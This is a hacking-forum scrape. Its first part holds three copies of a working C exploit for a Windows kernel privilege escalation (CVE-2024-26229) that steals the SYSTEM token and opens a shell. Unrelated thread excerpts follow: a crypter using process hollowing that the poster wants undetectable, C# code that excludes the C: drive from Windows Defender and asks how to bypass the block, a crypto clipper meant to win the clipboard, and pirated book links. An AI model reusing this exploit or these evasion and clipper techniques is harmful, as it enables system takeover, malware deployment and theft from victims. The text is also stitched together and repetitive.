#include <stdint.h>

#define STATUS_SUCCESS 0

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET            0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET    0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE    0x001401a3

#define SystemHandleInformation            0x10
#define SystemHandleInformationSize        0x400000

enum _MODE
{
    KernelMode = 0,
    UserMode = 1
};

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
_NtWriteVirtualMemory pNtWriteVirtualMemory;

typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation pNtQuerySystemInformation;

typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
_RtlInitUnicodeString pRtlInitUnicodeString;

typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtFsControlFile pNtFsControlFile;

typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
_NtCreateFile pNtCreateFile;


int NtLoad() {
    HMODULE hModule = GetModuleHandle(L"ntdll.dll");
   
   

    if (hModule != 0) {
        pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
        if (!pNtWriteVirtualMemory)
        {
            printf("[-] NtWriteVirtualMemory not loaded\n");
            return 1;
        }

        pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
        if (!pNtQuerySystemInformation)
        {
            printf("[-] NtQuerySystemInformation not loaded\n");
            return 1;
        }

        pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
        if (!pRtlInitUnicodeString)
        {
            printf("[-] RtlInitUnicodeString not loaded\n");
            return 1;
        }

        pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile");
        if (!pNtFsControlFile)
        {
            printf("[-] NtFsControlFile not loaded\n");
            return 1;
        }

        pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile");
        if (!pNtCreateFile)
        {
            printf("[-] NtCreateFile not loaded\n");
            return 1;
        }
    }
    else
    {
        printf("[-] NTDLL not loaded\n");
        return 1;
    }
    return 0;
}

int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
    int Ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
    ULONG ulBytes = 0;
    NTSTATUS Status = STATUS_SUCCESS;

    while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
    {
        if (pHandleInfo != NULL)
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
        else
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
    }

    if (Status != NULL)
    {
        Ret = Status;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
        {
            *ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
            Ret = 0;
            break;
        }
    }

done:
    return Ret;
}

NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
    NTSTATUS Status = 0;
    size_t cbNumOfBytesWrite = 0;

    Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
    if (!NT_SUCCESS(Status))
        return -1;
    return Status;
}

NTSTATUS Exploit()
{
    UNICODE_STRING  objectName = { 0 };
    OBJECT_ATTRIBUTES objectAttr = { 0 };
    IO_STATUS_BLOCK iosb = { 0 };
    HANDLE handle;
    NTSTATUS status = 0;

    uintptr_t Sysproc = 0;
    uintptr_t Curproc = 0;
    uintptr_t Curthread = 0;
    uintptr_t Token = 0;

    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    uint32_t Ret = 0;
    uint8_t mode = UserMode;
    pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
    InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);

    status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
    if (!NT_SUCCESS(status))
    {
        printf("[-] NtCreateFile failed with status = %x\n", status);
        return status;
    }
    Ret = GetObjPtr(&Sysproc, 4, 4);
    if (Ret != NULL)
    {
        return Ret;
    }
    printf("[+] System EPROCESS address = %llx\n", Sysproc);

    hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
    if (hThread != NULL)
    {
        Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current THREAD address = %llx\n", Curthread);
    }
    hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
    if (hCurproc != NULL)
    {
        Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current EPROCESS address = %llx\n", Curproc);
    }
    status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
    if (!NT_SUCCESS(status))
    {
        printf("[-] NtFsControlFile failed with status = %x\n", status);
        return status;
    }
    printf("[!] Leveraging DKOM to achieve LPE\n");
    printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
    Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
    Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
    system("cmd.exe");
    return STATUS_SUCCESS;
}
int main()
{
    if( NtLoad() ) return 1;
    NTSTATUS status = Exploit();
    return status;
}

Code:Copy to clipboard

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>

#define STATUS_SUCCESS 0

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET            0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET    0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE    0x001401a3

#define SystemHandleInformation            0x10
#define SystemHandleInformationSize        0x400000

enum _MODE
{
    KernelMode = 0,
    UserMode = 1
};

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
_NtWriteVirtualMemory pNtWriteVirtualMemory;

typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation pNtQuerySystemInformation;

typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
_RtlInitUnicodeString pRtlInitUnicodeString;

typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtFsControlFile pNtFsControlFile;

typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
_NtCreateFile pNtCreateFile;


int NtLoad() {
    //HMODULE hModule = GetModuleHandle(L"ntdll.dll");
    //HMODULE hModule = GetModuleHandleW(L"ntdll.dll");
      HMODULE hModule = GetModuleHandleA("ntdll.dll");

    if (hModule != 0) {
        pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
        if (!pNtWriteVirtualMemory)
        {
            printf("[-] NtWriteVirtualMemory not loaded\n");
            return 1;
        }

        pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
        if (!pNtQuerySystemInformation)
        {
            printf("[-] NtQuerySystemInformation not loaded\n");
            return 1;
        }

        pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
        if (!pRtlInitUnicodeString)
        {
            printf("[-] RtlInitUnicodeString not loaded\n");
            return 1;
        }

        pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile");
        if (!pNtFsControlFile)
        {
            printf("[-] NtFsControlFile not loaded\n");
            return 1;
        }

        pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile");
        if (!pNtCreateFile)
        {
            printf("[-] NtCreateFile not loaded\n");
            return 1;
        }
    }
    else
    {
        printf("[-] NTDLL not loaded\n");
        return 1;
    }
    return 0;
}

int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
    int Ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
    ULONG ulBytes = 0;
    NTSTATUS Status = STATUS_SUCCESS;

    while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
    {
        if (pHandleInfo != NULL)
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
        else
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
    }

    if (Status != NULL)
    {
        Ret = Status;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
        {
            *ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
            Ret = 0;
            break;
        }
    }

done:
    return Ret;
}

NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
    NTSTATUS Status = 0;
    size_t cbNumOfBytesWrite = 0;

    Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
    if (!NT_SUCCESS(Status))
        return -1;

    return Status;
}

NTSTATUS Exploit()
{
    UNICODE_STRING  objectName = { 0 };
    OBJECT_ATTRIBUTES objectAttr = { 0 };
    IO_STATUS_BLOCK iosb = { 0 };
    HANDLE handle;
    NTSTATUS status = 0;

    uintptr_t Sysproc = 0;
    uintptr_t Curproc = 0;
    uintptr_t Curthread = 0;
    uintptr_t Token = 0;

    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    uint32_t Ret = 0;
    uint8_t mode = UserMode;

    pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
    InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);

    status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
    if (!NT_SUCCESS(status))
    {
        printf("[-] NtCreateFile failed with status = %x\n", status);
        return status;
    }

    Ret = GetObjPtr(&Sysproc, 4, 4);
    if (Ret != NULL)
    {
        return Ret;
    }
    printf("[+] System EPROCESS address = %llx\n", Sysproc);

    hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
    if (hThread != NULL)
    {
        Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current THREAD address = %llx\n", Curthread);
    }

    hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
    if (hCurproc != NULL)
    {
        Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current EPROCESS address = %llx\n", Curproc);
    }

    status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
    if (!NT_SUCCESS(status))
    {
        printf("[-] NtFsControlFile failed with status = %x\n", status);
        return status;
    }

    printf("[!] Leveraging DKOM to achieve LPE\n");
    printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

    Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

    Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

    system("cmd.exe");

    return STATUS_SUCCESS;
}


int main()
{
    if( NtLoad() ) return 1;
    NTSTATUS status = Exploit();
    return status;
}

Code:Copy to clipboard

#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>

#define STATUS_SUCCESS 0

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET            0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET    0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE    0x001401a3

#define SystemHandleInformation            0x10
#define SystemHandleInformationSize        0x400000

enum _MODE
{
    KernelMode = 0,
    UserMode = 1
};

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
_NtWriteVirtualMemory pNtWriteVirtualMemory;

typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation pNtQuerySystemInformation;

typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
_RtlInitUnicodeString pRtlInitUnicodeString;

typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtFsControlFile pNtFsControlFile;

typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
_NtCreateFile pNtCreateFile;


int NtLoad() {
    //HMODULE hModule = GetModuleHandle(L"ntdll.dll");
    HMODULE hModule = GetModuleHandleW(L"ntdll.dll");
    //HMODULE hModule = GetModuleHandleA("ntdll.dll");

    if (hModule != 0) {
        pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
        if (!pNtWriteVirtualMemory)
        {
            printf("[-] NtWriteVirtualMemory not loaded\n");
            return 1;
        }

        pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
        if (!pNtQuerySystemInformation)
        {
            printf("[-] NtQuerySystemInformation not loaded\n");
            return 1;
        }

        pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
        if (!pRtlInitUnicodeString)
        {
            printf("[-] RtlInitUnicodeString not loaded\n");
            return 1;
        }

        pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile");
        if (!pNtFsControlFile)
        {
            printf("[-] NtFsControlFile not loaded\n");
            return 1;
        }

        pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile");
        if (!pNtCreateFile)
        {
            printf("[-] NtCreateFile not loaded\n");
            return 1;
        }
    }
    else
    {
        printf("[-] NTDLL not loaded\n");
        return 1;
    }
    return 0;
}

int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
    int Ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
    ULONG ulBytes = 0;
    NTSTATUS Status = STATUS_SUCCESS;

    while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
    {
        if (pHandleInfo != NULL)
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
        else
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
    }

    if (Status != NULL)
    {
        Ret = Status;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
        {
            *ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
            Ret = 0;
            break;
        }
    }

done:
    return Ret;
}

NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
    NTSTATUS Status = 0;
    size_t cbNumOfBytesWrite = 0;

    Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
    if (!NT_SUCCESS(Status))
        return -1;

    return Status;
}

NTSTATUS Exploit()
{
    UNICODE_STRING  objectName = { 0 };
    OBJECT_ATTRIBUTES objectAttr = { 0 };
    IO_STATUS_BLOCK iosb = { 0 };
    HANDLE handle;
    NTSTATUS status = 0;

    uintptr_t Sysproc = 0;
    uintptr_t Curproc = 0;
    uintptr_t Curthread = 0;
    uintptr_t Token = 0;

    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    uint32_t Ret = 0;
    uint8_t mode = UserMode;

    pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
    InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);

    status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
    if (!NT_SUCCESS(status))
    {
        printf("[-] NtCreateFile failed with status = %x\n", status);
        return status;
    }

    Ret = GetObjPtr(&Sysproc, 4, 4);
    if (Ret != NULL)
    {
        return Ret;
    }
    printf("[+] System EPROCESS address = %llx\n", Sysproc);

    hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
    if (hThread != NULL)
    {
        Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current THREAD address = %llx\n", Curthread);
    }

    hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
    if (hCurproc != NULL)
    {
        Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current EPROCESS address = %llx\n", Curproc);
    }

    status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
    if (!NT_SUCCESS(status))
    {
        printf("[-] NtFsControlFile failed with status = %x\n", status);
        return status;
    }

    printf("[!] Leveraging DKOM to achieve LPE\n");
    printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

    Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

    Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

    system("cmd.exe");

    return STATUS_SUCCESS;
}


int main()
{
    if( NtLoad() ) return 1;
    NTSTATUS status = Exploit();
    return status;
}

source : github.com/RalfHacker/CVE-2024-26229-exploit
thank you a lot

Android (Как сделать Accessibility Service чтоб делал скриншоты экрана)
ID: 6765d804b4103b69df375688
Thread ID: 122940
Created: 2024-09-18T05:08:47+0000
Last Post: 2024-12-16T12:37:53+0000
Author: XDRevil
Replies: 4 Views: 745

Говорили это возможно (MediaProject так себе, уже ставят черный экран в приложухах) есть замена?

Как написать простой firewall?
ID: 6765d804b4103b69df375a25
Thread ID: 42128
Created: 2020-09-15T20:22:42+0000
Last Post: 2020-09-15T22:08:51+0000
Author: roflanebalo
Replies: 2 Views: 743

Всем привет, хочу написать, какой нибудь проект и решил написать firewall.
Я бы хотел узнать как можно написать свой простенький firewall для Windows 10. На сколько вообще это сложно и с чего стоит начать? Какой язык лучше подойдет для данной задачи, я думаю что С++.

Программист из меня херовый, если это слишком сложно, может у кого есть идеи для проекта получше и полегче

Click to expand...

Проект чисто для себя, поднять навыки программирования.

Click to expand...

tips to develop a better RunPE (process hollowing) for my crypter
ID: 6765d804b4103b69df3757a6
Thread ID: 93687
Created: 2023-07-22T20:34:17+0000
Last Post: 2023-08-23T07:27:37+0000
Author: 3c2n90yt57489t3y8794
Replies: 11 Views: 742

I developed my first crypter in pure C using the standard process hollowing: create a new process thread in suspended state, put the PE inside it and execute the thread.
I use these winapi: CreateProcess GetThreadContext VirtualAllocEx WriteProcessMemory SetThreadContext ResumeThread. And I use a simple XOR encryption with a long random key.
The problem is that it's not undetected, there are around 10 of the most popular AVs that detects it in scantime (I suppose in runtime too). I think the problem is that I use the same winapi everyone use and in a very common way.
I read some blogs about other methods such as injection in other trusted processes, reflective injection or other process hollowing techniques.

Studying and implementing some of them will require a lot of time, so I need some advice, what direction sould be the best for my research? I just want to implement a simple runpe that is undetected, should I try to make my RunPE FUD (if yes, how? maybe I need to obfuscate the api call.. I'm not sure they are the main problem) or it's better to try another more stealth method?

Помогите не могу скомпилировать
ID: 6765d804b4103b69df3759c1
Thread ID: 50483
Created: 2021-04-09T14:10:52+0000
Last Post: 2021-04-13T06:05:20+0000
Author: m1Geelka
Replies: 2 Views: 741

Кароче дали мне .jar file я его декомпильнул тулзой JD-GUI а вот скомпилить уже не могу((
Кто поможет тому маленький приз в виде денег на киви!!! Нужно поменять одну строчку и назад скомпилить!!

С# Powershell добавление в исключения (нужна помощь)
ID: 6765d804b4103b69df3756d5
Thread ID: 120836
Created: 2024-08-15T11:02:10+0000
Last Post: 2024-08-15T19:23:14+0000
Author: D95
Replies: 6 Views: 736

Всем привет,подскажите с недавнего времени Win Defender ( Win 10 в моём случае) перестал почему то давать добавлять папку в исключения через powershell . Даже когда в ручную запускаешь консоль от админа не даёт.

Spoiler: скрин ошибки

sshot-3.png

Spoiler: С# код функции

{
string ps = @"
$command = 'Add-MpPreference -ExclusionPath ''C:'''
Invoke-Expression -Command $command
";

Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo()
{
FileName = "powershell.exe",
RedirectStandardInput = true,
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true,
};

process.StartInfo = startInfo;
process.Start();
process.StandardInput.WriteLine(ps);
process.StandardInput.Flush();
process.StandardInput.Close();
process.WaitForExit();
process.Close();
}

Приложение стартует тоже с запросом прав администратора, функция выполняется из под админа,но в окне консоли та же ошибка от дефендера. Суть вопроса в том как можно это обойти ?может сделать обфускацию просто повершел команды самой,поможет ли это?

Crypto Clipper Killer | Крипто-клипер-убийца
ID: 6765d804b4103b69df3756c3
Thread ID: 122419
Created: 2024-09-10T01:46:55+0000
Last Post: 2024-09-10T11:52:36+0000
Author: thulean
Replies: 2 Views: 736

I was wondering how I can make a program that kills the processes of crypto clippers installed on a Windows machine. Currently I wrote code that checks if each process that is currently running that is NOT located in critical Windows folders and does NOT have a signature and kills those processes. I have also tried to check what process is locking the clipboard when a crypto address is copied to the clipboard. Both of these methods seem ineffective. If someone could help me with the logic that I can implement into my code to find all crypto clippers installed and either have priority over them (my address will always be the one copied to the clipboard) or completely uninstall them from the target.

------------------------------------------ ----------------

I was wondering how I can create a program that kills the processes of cryptoclypers installed on a Windows machine. I have currently written a code that checks to see if each currently running process that is NOT located in Windows critical folders has a signature and kills these processes. I also tried to check which process blocks the clipboard when a crypto address is copied to it. Both of these methods seem ineffective. If someone could help me with the logic that I can implement in my code to find all the installed cryptoclippers and either take precedence over them (my address will always be copied to the clipboard), or completely remove them from the target.

[RESOURCES] Книги по программированию/кибербезопасности на 1000 долларов!
ID: 6765d804b4103b69df37584d
Thread ID: 77765
Created: 2022-12-09T21:27:49+0000
Last Post: 2022-12-09T21:27:49+0000
Author: camel
Replies: 0 Views: 735

Заголовки на английском.

Python for Data Analysis ($50):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacedxf7qs2aca5fkcnt63hsxys44irsdhyow73nghfroauswok34sau ](https://cloudflare- ipfs.com/ipfs/bafykbzacedxf7qs2aca5fkcnt63hsxys44irsdhyow73nghfroauswok34sau)

Flask Web Development ($40):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacedvtn55gwtsmfxwctl6idvkdk4jsl3xrdsksiqgubd6dhsboninbk ](https://cloudflare- ipfs.com/ipfs/bafykbzacedvtn55gwtsmfxwctl6idvkdk4jsl3xrdsksiqgubd6dhsboninbk)

Python Cookbook ($40):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacechzgvwzeqkr3paclbbpasijfz65ps7ek4ieek2giv6cjkxzzs4f2 ](https://cloudflare- ipfs.com/ipfs/bafykbzacechzgvwzeqkr3paclbbpasijfz65ps7ek4ieek2giv6cjkxzzs4f2)

Eloquent Javascript ($10):

[ https://cloudflare- ipfs.com/ipfs/bafykbzaceba25c3me6pcwq6fcjvyie5vrhqtcvgphenhuuxkd3bpmkti3cisg ](https://cloudflare- ipfs.com/ipfs/bafykbzaceba25c3me6pcwq6fcjvyie5vrhqtcvgphenhuuxkd3bpmkti3cisg)

Learning Javascript, Second Edition ($40):

[ https://cloudflare- ipfs.com/ipfs/bafykbzaceaxwnpkhr3wzaolszdnaa7svmkkpbqj5iozdc7taxj6kbbje54i6a ](https://cloudflare- ipfs.com/ipfs/bafykbzaceaxwnpkhr3wzaolszdnaa7svmkkpbqj5iozdc7taxj6kbbje54i6a)

Learning PHP, MySQL & Javascript ($40):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacealk7fwvr36bmxneqpjfjbqjmpyncymlvkdq2mznru6swrzhpod2c ](https://cloudflare- ipfs.com/ipfs/bafykbzacealk7fwvr36bmxneqpjfjbqjmpyncymlvkdq2mznru6swrzhpod2c)

Getting Started with NoSQL ($10):

[ https://cloudflare- ipfs.com/ipfs/bafykbzacealk7fwvr36bmxneqpjfjbqjmpyncymlvkdq2mznru6swrzhpod2c ](https://cloudflare- ipfs.com/ipfs/bafykbzacealk7fwvr36bmxneqpjfjbqjmpyncymlvkdq2mznru6swrzhpod2c)

The Book of Visual Studio .NET ($80):

